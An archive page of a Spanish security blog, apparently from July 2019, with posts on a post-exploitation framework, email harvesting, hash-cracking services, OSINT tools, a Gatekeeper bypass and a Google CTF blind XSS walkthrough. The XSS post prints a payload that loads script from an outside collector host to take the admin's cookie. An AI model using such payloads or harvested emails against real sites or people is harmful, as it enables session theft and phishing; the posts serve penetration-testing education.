2019/07/18

BoomER - Local Exploiting

Por el 2019/07/18 con 0 comentarios
En esta ocasión os vengo a hablar de BoomER, mi proyecto fin de máster junto a Antonio Marcos y que dirigió Pablo González. No es la primera vez que hablo del proyecto, pero si es la primera vez que aparece BoomER en Flu-project.

Figura 1 - Banner de BoomER


¿Y qué es eso de BoomER? 

Se trata de un framework de Post-Explotación desarrollado con Python. Nos va a permitir recolectar información, detectar y explotar determinadas vulnerabilidades, pero al ser un proyecto modular, en muy pocos pasos cualquiera puede agregar sus módulos para comprobar lo que quiera. Se puede ver la funcionalidad y características de BoomER en la figura 2.

Figura 2 - Características de BoomER

En BoomER tenemos módulos destinados para MacOS, Windows y Linux.

Proyecto BoomER Independiente 

Para empezar, os facilito el repositorio del proyecto, y que está en el siguiente enlace: https://github.com/Josue87/BoomER.

BoomER aporta muchas opciones, existen módulos ‘sin carga’ y módulos que permiten la carga de Payloads, dentro de la herramienta existen unos ejemplos que permiten la apertura de shell reversas en Metasploit, cómo se puede ver en la figura 3.

Figura 3 - Lanzando un exploit con un Payload de Metasploit

Y en la figura 4 se puede apreciar como se recibe esta Shell, en esta ocasión, para las pruebas se ha usado un mismo equipo, como se puede comprobar en la dirección IP.

Figura 4 - Recibiendo la Shell en Metasploit

Y en la figura 5 se puede ver un ejemplo de uso en un MacOS para aprovecharnos de la vulnerabilidad de Rootpipe y elevar privilegios:

Figura 5 - Lanzando Rootpipe desde BoomER

Para terminar este apartado, se adjunta un vídeo de cómo funciona BoomER en Windows, donde conseguimos ser System:


Y saqué tiempo para crear nuestro propio meterpreter, basado en Metasploit, y que se puede ver en la figura 6:

Figura 6 - Nuestro Boomerpreter

Proyecto BoomER en el meterpreter de Metasploit 

Para no variar, el repositorio de esta parte del proyecto se encuentra en: https://github.com/Josue87/BoomER-MSF-Meterpreter

Este aspecto fue muy sugerido por Pablo, y al final pudimos tener una versión 'lite' de BoomER en la versión del meterpreter de Python, y que nos permitía tener una mini terminal de nuestra herramienta para ejecutar distintos módulos, y que mejor que ver un vídeo con un ejemplo de exploit:


El objetivo era llegar a tener una versión para cada 'tipo' de meterpreter, pero al final por falta de tiempo nos tuvimos que conformar con Python. Un placer compartir este proyecto en Flu-project.

¡Nos vemos en la próxima entrada!
Leer más
    email this       edit

2019/07/17

Extrayendo direcciones de email con hunter.io

Por el 2019/07/17 con 0 comentarios
Durante los procesos de recolección de información (footprint) para la realización de un test de intrusión, un red team, o un proceso OSINT, necesitamos reunir datos de muchas fuentes de información diferentes. En una de estas fases, solemos recopilar direcciones de email de la organización, con el objetivo de tener varios "puntos de contacto" para las pruebas de ingeniería social a los que poder remitir un spear phishing, entre otras posibilidades, o incluso, averiguar a través de los emails, algunos usuarios válidos del Active Directory. Para esta labor, el sitio web https://hunter.io/ nos puede ser de gran ayuda:



Hunter.io realiza de forma activa escaneos en la red, al estilo de Shodan, pero para almacenar direcciones de email asociadas a un dominio.

Para probar su funcionamiento, buscaremos las cuentas de email asociadas a "eitb.eus":


Y vemos cómo nos devuelve 74 direcciones diferentes:


Además, podremos ver la fuente de donde fue obtenida la dirección de email, con el fin de poder contrastar su veracidad (incluso si el sitio web fue eliminado):



De forma gratuita, podréis realizar hasta 50 consultas al mes. Únicamente debéis registraros con una dirección de email.

Espero que os sea de utilidad.

Saludos!
Leer más
    email this       edit

2019/07/16

Teleco in a nutshell v4.0: Ruido

¿Recordáis los televisores CRT, cuando emitían esas chiribitas blancas y negras al no tener un canal sintonizado, que siempre nos hacía recordar la película Poltergeist (“Ya están aquíii…”)? Lo que ocurre es que aunque no estemos recibiendo la señal deseada, estamos recibiendo ruido. Definimos ruido como toda aquella señal que no deseamos, y que se mezcla con la señal que queremos transmitir/recibir debido a la propiedad de interferencia entre ondas, concepto que ya introdujimos en un post anterior.

El ruido siempre existe, ya no sólo por otras señales similares que “colisionan” con la nuestra (lo cual comúnmente conocemos como interferencia, en relación con la propiedad física que os acabamos de comentar), sino que existen otras señales generadas de forma natural, que podemos clasificar en dos grupos:
  • Ruido interno: es un ruido que se genera dentro de los equipos que utilizamos para generar y recibir las señales electromagnéticas, y que afectará en mayor medida en las comunicaciones por cable. Es la suma de una serie de ruidos generados por distintos procesos físicos, principalmente por el movimiento de las partículas energéticas (electrones y fotones) y por el efecto de la temperatura.
  • Ruido externo: es aquel ruido que se encuentra en la naturaleza, fuera de los dispositivos de comunicaciones, y el cual afectará en mayor medida en las comunicaciones inalámbricas. A su vez es la suma de diferentes ruidos, donde destacan el ruido industrial (motores, generadores, etc), el ruido atmosférico (generado por las reacciones químicas en la atmósfera y fenómenos meteorológicos como rayos, por ejemplo) y el ruido cósmico (aquel producido por los cuerpos celestes o del espacio profundo).
Como ya hemos mencionado en anteriores posts, el ruido es una señal aleatoria en frecuencia y amplitud (aunque acotada). En el receptor se obtendrán las dos señales mezcladas, y será clave la proporción de potencia entre ambas: la relación señal/ruido (SNR). Si esta proporción es alta, el receptor podrá diferenciar la señal original del ruido. El problema viene cuando la señal emitida va perdiendo potencia por el efecto de la atenuación del canal, ya que mientras esta es cada vez más tenue, el ruido se va sumando de manera constante, haciendo que la SNR vaya siendo peor.
Señal original, ruido e interferencia entre ambas señales [Fuente: Mathworks]
Antes de enseñaros un ejemplo, tenemos que tener en cuenta que las atenuaciones y las diferencias entre señal y ruido generalmente son muy grandes. Una señal puede recibirse miles o millones de veces más tenue de lo que se emitió, y por otro lado es evidente que en el momento de su emisión, la señal será mucho más potente que aquel ruido que pudiéramos recibir del espacio profundo. Por tanto, normalmente no se trabaja con vatios, sino con decibelios (dB), que es una medida que nos indica la relación entre dos valores (de potencia en este caso) en una escala logarítmica. Esto permite que dos señales muy distantes en potencia sean más manejables al trabajar en una escala decibélica. Por ejemplo, cuando decimos que una señal ha perdido 90dB en su transmisión, realmente estamos diciendo que se ha recibido una potencia mil millones de veces menor. 
Fórmula para pasar de vatios a decibelios (logaritmo en base 10)
Estamos acostumbrados a escuchar hablar de decibelios cuando estamos hablando (qué ironía) del ruido que generan ciertas cosas. No obstante, como hemos dicho, los decibelios hablan de la relación entre dos valores, y es que en este caso se está hablando realmente de dB(SPL), que es la diferencia de potencia respecto a una referencia sonora. En transmisiones ocurre lo mismo, cuando hablamos de un valor concreto (por ejemplo, una antena que emite una señal con una potencia de 1W) podemos pasarlo a decibelios tomando como referencia la milésima de vatio, a lo que llamamos dBm (en la fórmula anterior consideramos P2 como 1mW y P1 como 1000mW, obteniendo 30dBm).

Además, por las propiedades matemáticas de los logaritmos, donde antes dividíamos para calcular las pérdidas, ahora restamos decibelios. Por ejemplo, en los casos anteriores hemos hablado de una antena que emite 30 dBm y la señal pierde 90dB en su transmisión. Por tanto, el receptor obtendría -60dBm de potencia de señal. Esto es un nanovatio de potencia recibida, lo cual podemos ver que es extremadamente poco, pero ¿cuánta potencia de ruido se recibe? Pues dependerá de infinitas cosas… Mejor veamos un ejemplo real:
Espectro de una señal en la banda de 554MHz (DBV-T) [Fuente: Flickr-csete]
En la figura anterior podemos ver el espectro recibido de un canal de televisión, donde se aprecia una potencia de señal media recibida de unos -70dBm, junto con un ruido de unos -86dBm. Esto quiere decir que el ruido está unas 40 veces por debajo, o lo que es lo mismo, que la SNR es de 16dB. ¿Este valor es bueno? Pues no se puede saber a priori, ya que dependerá completamente de la calidad del receptor y de la información que estemos enviando.

Para terminar, ¿cómo combatimos el ruido? Por un lado evitándolo, con equipos electrónicos de alta calidad; por otro lado (y mucho más práctico), aumentando la potencia de la señal con amplificadores y reduciéndosela al ruido mediante filtros. Adivinad de qué os vamos a hablar en el próximo post… :)

Muchas gracias por leernos y ¡nos vemos en el siguiente post!


Si os habéis quedado con ganas de más:
Leer más
    email this       edit

2019/07/15

Herramientas online de cracking de contraseñas. Parte 2

Por el 2019/07/15 con 1 comentario
Buenas a todos, hoy damos continuidad a la cadena de artículos sobre herramientas online para el cracking de contraseñas, analizando un nuevo servicio, en esta ocasión, el ofrecido por gpuhash.me:


Este servicio es uno de los más completos que hemos analizado, ya que permite crackear una gran cantidad de hashes muy diferentes (wireless, windows, wallets, office, compresión, etc.)


Su funcionamiento es bastante básico, y de forma sencilla podremos cargar nuestro hash, o lista de hashes, para crackear, indicando el tipo de algoritmo utilizado para su generación:


A continuación, seleccionaremos la técnica que queremos que utilicen para proceder al crackeo. Atentos a esta opción, porque de ella dependerá el precio del servicio. Soportan muchas opciones, desde la fuerza bruta clásica, al uso de diccionarios o de combinaciones de ellos y un sistema experimental llamado "Neural hash search", entre otros:






La petición será encolada, y en función de la prioridad, acelerarán más o menos nuestra petición. Una vez haya concluido, podremos acceder a la contraseña crackeada, mediante el pago del importe indicado.

En todo momento podremos verificar el estado de nuestra petición, mediante la opción "Get result":


Mientras que el servicio que analizamos el otro día, hashkiller.co.uk, es una opción rápida para tratar de extraer contraseñas sencillas, esta herramienta es interesante tenerla en cuenta para aquellos hashes que se resisten.

Saludos!
Leer más
    email this       edit

2019/07/12

Commando VM: Realizando pentests desde Windows

Por el 2019/07/12 con 0 comentarios

La empresa Fireeye ha publicado recientemente Commando VM, a la cual han denominado “La primera distribución de seguridad ofensiva sobre Windows”; sin embargo, esta no es una distribución al estilo Kali Linux, si no un conjunto de scripts que generan una capa extra de herramientas que facilitará la realización de pruebas de pentest apoyándose en un entorno Windows. 

Esta distribución ha sido diseñada con el objetivo de que se convierta en la plataforma preferida por los pentesters; para ello, cuenta con numerosas ventajas, gracias a su soporte nativo de protocolos propios de Windows y de Active Directory -posibilidad de utilizar Power View y BloodHound, entre otros-. 

Commando VM cuenta con un listado de más de 140 herramientas, entre las que destacan Nmap, Wireshark, Python, Go, Remote Server Adminitration Tools, Sysinternals, Mimikatz, Burp-Suite, y, Hashcat.

Además, Commando VM no solo se orienta a labores ofensivas, ya que también cuenta con herramientas de índole defensivo; esto permitirá al blue team auditar sus redes y mejorar sus capacidades de detección.

Instalación 


Instalación de Commando VM con PowerShell

A la hora de realizar la instalación de esta distribución, se recomienda hacerlo sobre una máquina virtual, ya que esta es la primera versión de Commando VM y se podrían presentar algunos errores. Por ello, es posible descargar una máquina virtual de Windows, directamente desde el portal web oficial de Microsoft. https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/

Las especificaciones mínimas para el funcionamiento de Commando VM son:


  • 60GB de espacio en el disco duro.
  • 2 Gb de memoria RAM.

Commando VM es compatible tanto con Windows 7 Service Pack 1, como con Windows 10; en este último, permite la instalación de un mayor número de herramientas y funciones. 

Las instrucciones para instalar Commando VM son las siguientes:


  • Actualizar la máquina virtual con Windows.
  • Descargar el repositorio de Commando VM en la maquina virtual, desde el siguiente link: https://github.com/fireeye/commando-vm.
  • Descomprimir el repositorio de Commando VM en la ruta de nuestra elección.
  • Iniciar una nueva sesión de PowerShell, con privilegios elevados.
  • En la ventana de PowerShell, ir a la ruta donde se encuentra descomprimido el repositorio de Commando VM.
  • Cambiar la política de ejecución de PowerShell con el siguiente comando: “Set-ExecutionPolicy unrestricted”.
  • Finalmente, ejecutar el script de instalación install.ps1

La instalación de Commando VM durará un par de horas, así que te recomiendo que te armes de paciencia y…


Imagen de Commando VM, tras su instalación



Artículo cortesía de Christian Flores
Consultor de ciberseguridad
Leer más
    email this       edit

2019/07/11

Herramientas online de cracking de contraseñas. Parte 1

Por el 2019/07/11 con 0 comentarios
Buenas a todos, en el post de hoy daremos inicio a una cadena de artículos dedicada a servicios online para creackeo de contraseñas, donde iremos desgranando algunas de las principales opciones de las que disponemos, tanto gratuitas, como a un coste comedido.

Hoy, daremos comienzo con el sitio hashkiller.co.uk, una página que nos ofrece numerosas funcionalidades de interés, que van desde la subida de ficheros con contraseñas para crackear, y la posibilidad de cargar hashes directamente a través de la interfaz web en bloques de 64 (máximo), hasta generadores de hashes, muy útiles para comprobar rápidamente contraseñas ya crackeadas:


Para que veáis un ejemplo de su funcionamiento, he buscado en su bbdd de hashes crackeados, el hash NTLM de la password "1234":


Buscando credenciales algo más rebuscadas, no obtendremos una respuesta inmediata, y habrá que proceder al crackeo por diferentes vías que ya conocéis.

La plataforma nos permite también descargar algunos diccionarios, listados de credenciales crackeadas y listados de hashes sin crackear:



También tenemos acceso a Hashcat GUI, así como a sendos videotutoriales:








Es una opción interesante para al menos obtener los hashes más habituales, sobretodo si no disponemos durante un pentest de una máquina potente con Hashcat para crackear los hashes que hayamos podido recuperar de un equipo o de un directorio activo.

Saludos!
Leer más
    email this       edit

2019/07/10

Navegando por Tor desde iOS

Por el 2019/07/10 con 0 comentarios
Buenas a todos, en algunas ocasiones en nuestro día a día en el mundo de la ciberseguridad, precisamos anonimizar nuestra conexión a Internet o incluso, acceder a algún sitio web dentro de la red Tor. Es algo que habitualmente hacemos con navegadores como Tor Browser. Disponemos de diversas opciones igualmente fiables. Sin embargo, desde los dispositivos iOS, nos encontramos con muchas APPs falsamente gratuitas, o de dudosa procedencia. 

Una de las APPs de las que a priori nos podríamos fiar, y que suelo utilizar habitualmente en mi iPhone, es Onion Browser, desarrollada por Mike Tigas:


No hay mucho que contar de este navegador, su parte gratuita cumple su función sobradamente, y nos permitirá navegar por Tor de forma sencilla, como podréis ver a continuación, mientras consultamos nuestra cuenta de ProtonMail:





Disponemos además de algunas configuraciones básicas, como la selección del motor de búsqueda por defecto (DuckduckGo), la página de inicio, el autocompletar, cookies, y demás opciones habituales, que os recomiendo bloquear si queréis garantizar el anonimato.

Si conocéis algún otro buen navegador Tor en iOS que queráis compartir con nosotros, no dudéis en dejarnos un comentario, y lo compartiremos con el resto de la comunidad de Flu Project.

Saludos!
Leer más

,

    email this       edit

2019/07/09

Fallo de seguridad en Gatekeeper en MacOS X 10.14.5 Mojave

Por el 2019/07/09 con 0 comentarios
Gatekeeper es una herramienta de seguridad propia de MacOS, que forma parte de MacOS X desde el 2012. Su función es verificar la autenticidad y la seguridad de las aplicaciones que son descargadas en los equipos Mac. Esta herramienta previene la instalación aplicaciones sin que el usuario lo permita, y es principalmente importante cuando descargamos aplicaciones desde otros lugares que no sea el Mac App Store, pues Gatekeeper es el encargado de detectar si la aplicación que se desea instalar está firmada por Apple. De no ser así, impedirá que la misma se ejecute automáticamente, mostrando un mensaje de alerta en pantalla para que el usuario confirme o niegue la ejecución de esta.


Img 1 Gatekeeper (imagen obtenida de Apple.com)

El investigador de seguridad Filippo Cavallarin ha descubierto una vulnerabilidad de Gatekeeper en MacOS X Mojave 10.14.5. El fallo se produce porque la herramienta considera a los dispositivos externos y a las unidades de red compartidas como sitios seguros, con lo que permite que cualquier aplicación que se encuentre dentro de una de estas ubicaciones, se ejecute sin necesidad de verificar que la aplicación este firmada por Apple.

Este fallo combinado con dos características propias de MacOS X (explicadas posteriormente), permiten la ejecución exitosa de un malware:

La primera característica legitima es el auto montaje (autofs -Automatically Mounting Network File Shares-), esta característica permite a un usuario el montaje automático de una red compartida, accediendo desde una ruta especial, que en este caso es cualquier ruta que comience con “/net”. Como ejemplo podria ser: 
  • ls /net/webdelatacante.com/carpetainfectada/
Lo que permite que el sistema operativo lea el contenido de “carpetainfectada” en el host remoto, que en nuestro caso es “webdelatacante.com”, mediante el protocolo NFS (Network File System).

La segunda característica legitima de MacOS X, es que permite que los archivos de tipo .zip, puedan contener enlaces simbólicos que apunten hacia una ubicación arbitraria. Esta ubicación arbitraria puede ser un punto de auto montaje. MacOS es el responsable de la descompresión de los archivos .zip, y este no realiza ninguna comprobación en los enlaces simbólicos antes de que sean creados.
Esta vulnerabilidad permitirá que un potencial atacante pueda crear un archivo .zip malicioso, como Gatekeeper considera que se encuentra en un entorno que es considerado seguro, lo ejecutar sin solicitar ningún permiso del usuario y podría comprometer el equipo.



Artículo cortesía de Christian Flores
Consultor de ciberseguridad
Leer más
    email this       edit

2019/07/08

#SpiderFoot: mucho más que lejos de casa... (Parte II)

Buenas a todos, en el día de hoy quería compartir de nuevo con vosotros la continuación del anterior post sobre SpiderFoot donde trataremos la última parte de esta herramienta cubriendo la vista en grafo y cómo suprimir de nuestra búsqueda los falsos positivos.
¡Así que comencemos!

Análisis de búsquedas en SpiderFoot

Si observamos la pestaña con el nombre de Graph podremos ver que nuestro amigo hombre araña ha dejado un buen lío para organizar nuestra información...



Solo tendremos que hacer que forzar que nuestro grafo tome forma de grafo, haciendo clic en el icono F.



Obteniendo así como resultado algo agradable visualmente y que nos pueda ayudar a entender algo :P


Si hacemos algo de zoom en el grafo, podemos ver que nuestro punto rojo nos indica el dominio o nuestra semilla de búsqueda, y todas las relaciones que hemos encontrado.




Puede verse tal y como os explicaba en el post anterior, la cantidad de subdominios que creé hasta encontrar la manera de configurar adecuadamente Traefik :)

Como hemos podido ver anteriormente, existían nodos extra ademas del que se ha mostrado con Zoom, estos nodos provenían de la información de Wikipedia, así como de la protección de WHOIS que ofrece mi proveedor de dominio, por tanto, es información que no nos interesa y los declaramos falsos positivos. ¿Cómo? De esta forma:



Si fueramos de nuevo al grafo, tras declarar como falsos positivos las entradas de Wikipedia e información del WHOIS, nos encontraríamos con un grafo algo más escueto.



Tal y como os dije, la información con la que la herramienta se retroalimenta puede ser modificada mientras el análisis está funcionando, así que podríamos evitar realizar trabajo extra sobre falsos positivos si nos damos cuenta a tiempo.

Espero que os haya gustado y os haya parecido interesante esta herramienta de OSINT ;)
 
¡Saludos!


Imagen de Spiderman
Leer más
    email this       edit

2019/07/05

#SpiderFoot: mucho más que lejos de casa... (Parte I)

Buenas a todos, en el día de hoy quería compartir con vosotros la aplicación SpiderFoot, de @binarypool, una herramienta de reconocimiento que consulta automáticamente más de 100 fuentes de datos públicas (OSINT) para recopilar información sobre direcciones IP, nombres de dominio, direcciones de correo electrónico, nombres y más.

En concreto en este post cubriremos la instalación de SpiderFoot mediante Docker para no tener que lidiar con las dependencias de Python. Una vez instalado, analizaremos un dominio de mi propiedad (no queremos meternos en líos :P) y observaremos que datos nos arroja la herramienta sobre el mismo.

¡Así que comencemos!

Instalación de SpiderFoot

Para la instalación de SpiderFoot necesitaremos tener instalado Docker, una vez lo tengamos instalado solo tendremos que ir al repositorio mencionado anteriormente y obtener la última versión en formato zip del repositorio. (Puedes usar también git si te es más comodo)

Procedemos a crear la imagen de Docker con el Dockerfile que se nos proporciona en el repositorio, para ello dentro de la carpeta de instalación ejecutamos:
docker build -t spiderfoot .
Y tras esperar un poco que se descargue la imagen de Alpine y se instalen las dependencias necesarias, podremos lanzar nuestro contenedor exponiendolo en el puerto 5009 de nuestra máquina y haciendolo correr en background para permitirnos realizar otras tareas.
docker run -p 5009:5001 -d spiderfoot
Finalmente cuando tengamos corriendo nuestro servicio podremos acceder a él desde el navegador (aunque también cuenta con versión CLI) desde localhost:5009 si estamos corriendolo en local.

Configuración de SpiderFoot

A día de la publicación de este post, la versión que se muestra es la 3.0 y en ella podemos encontrar diversas pestañas en la WebUI, donde podemos configurar los módulos, así como añadir API Keys a los módulos que poseamos una API, ya sea por el número de peticiones que queremos realizar, o si simplemente queremos usarlo (como Shodan o VirusTotal).


Nueva búsqueda en SpiderFoot

Para realizar una nueva búsqueda o escaneo bastaría con introducir un nombre que identificase al escaneo que queremos realizar y un objetivo, que podría ser un dominio, una IP, una subred, una dirección de mail o un nombre.

De igual forma podemos definir lo intrusivo que puede ser nuestro escaneo, si queremos que todos los módulos activos se despliguen bastaría con lanzar el escaneo seleccionando All.

También podemos hacer una selección por módulos o por el tipo de información que queremos obtener, esto puede hacerse respectivamente en las secciones: By Module y By Required Data


Análisis de búsquedas en SpiderFoot

Durante el escaneo podemos observar como se van obteniendo los datos poco a poco, así como se observa que el escáner se retro alimenta a la vez que va obteniendo datos.

Para ilustrar esta herramienta escanearemos mi propio dominio, donde tengo vinculado una cuenta de ProtonMail, así como donde cacharreo un poco con Dockers (ya veremos como esto último queda bastante presente ;))

Como yo he dejado que realizase el escaneo completamente, seleccionaremos el escaneo que queremos estudiar o analizar:



Una vez seleccionado el escaneo, si queremos visualizar el tipo de datos que hemos recogido iríamos a la pestaña de Status donde podremos ver una vista general de que niveles de datos tenemos.




Podemos observar que se han encontrado excesivos datos sobre certificados SSL (🤔) y sobre páginas de Wikipedia (?).

Que se hayan encontrado tantos certificados SSL no es algo normal si la extensión del dominio no es muy grande, sin embargo, esto ha ocurrido porque al intentar configurar mi Reverse Proxy con Traefik tuve una serie de problemas... :) y esto quedó registrado en Let's Encrypt al intentar firmar varios subdominios.




Esto podremos observarlo en el grafo con mayor detalle, al igual que explicaré porque han aparecido tantas páginas de Wikipedia y como podemos deshacernos de datos no relevantes en esta herramienta. Pero esto será en el próximo post, espero que os haya gustado y esperéis la siguiente entrada con ganas.

¡Saludos!

Leer más
    email this       edit

2019/07/04

Realizando blind XSS con XSS Hunter (Beginners - Google CTF 2019)

Buenas a todos, en el día de hoy quería compartir con vosotros la aplicación XSS Hunter, de @IAmMandatory, una herramienta pensada para poder ser instalada en cualquier servidor y realizar pruebas XSS de una forma más sencilla.

En concreto, en este post cubriremos la instancia que el propio desarrollador nos ofrece para hacer una serie de pruebas en uno de los retos propuestos en el beginners de Google de este año, a modo de prueba de concepto. ¡Así que comencemos!

¿Qué es blind XSS?

Blind XSS es una variante de las vulnerabilidades conocidas como XSS persistentes. Ocurren cuando la entrada de datos del atacante es guardada en el servidor para posteriormente ser mostrada en otra parte de la aplicación.

¿Cómo utilizo XSS Hunter?

XSS Hunter es totalmente gratuito y solo necesitamos registrarnos en su web para poder empezar a utilizarlo. Si solo lo utilizamos de manera puntual en un CTF, lo más interesante sería utilizar un mail temporal que podamos desechar con facilidad; en caso de querer integrarlo en un pentest, quizás nos interese lanzar nuestra propia instancia, tal y como nos explica el propio autor.

 

¿Ministry of Agriculture? ¿Coliflores?

Google nos plantea que nuestras amigas las coliflores han sido raptadas para ser devoradas por una clase de seres con aspecto humanoide, y que debemos acercarnos a ellos para poder rescatarlas. Para ello, debemos acceder como administrador del sitio. Se nos adjunta la siguiente instancia: https://govagriculture.web.ctfcompetition.com/



Al intentar mandar nuestro nuevo post, recibimos la siguiente repuesta: Your post was submitted for review. Administator will take a look shortly. Por lo tanto, sí hay "alguien" revisando nuestros post,s y nos encontramos ante un escenario de un posible bXSS (qué sorpresa 😜).

Rescatando a nuestra amiga la coliflor

XSS Hunter cuenta con una serie de payloads predefinidos para poder lanzarlos sin tener que construirlos, aunque es posible que a veces tengamos que modificarlos o adaptarlos a nuestro uso. De igual modo cuenta con alertas mail en caso de que intentemos utilizar la herramienta en un formulario de preguntas, de manera que si un administrador tarda tiempo en leer nuestra pregunta se nos avise cuando lo haga.



Nuestro post ahora será "><script src=https://icetormzero.xss.ht></script> y esperaremos pacientemente que sea revisado por parte del administrador. Una vez que el administrador revise nuestro post, en la pestaña de XSS Fires se nos avisará, al igual que por mail si lo tenemos activado.



Si viésemos el informe completo, podríamos ver una miniatura de la web que ve el administrador del sitio cuando abre nuestro post, así como su IP, Cookies, User Agent y una vista previa del DOM de la web. Además de ello se podrían añadir una serie de configuraciones extra o modificar las existentes, pero en este caso solo queremos hacernos con la Cookie del administrador que en este caso sería nuestra flag CTF{8aaa2f34b392b415601804c2f5f0f24e}


Una vez conseguido esto estamos un tanto más cerca de rescatar a nuestra amiga la coliflor 😜

Espero que os haya gustado y os haya parecido interesante esta herramienta para investigar fácilmente si un XSS está siendo lanzado desde el lado de administración, ya sea en un CTF o en otro ámbito 😉

¡Saludos!
Leer más
    email this       edit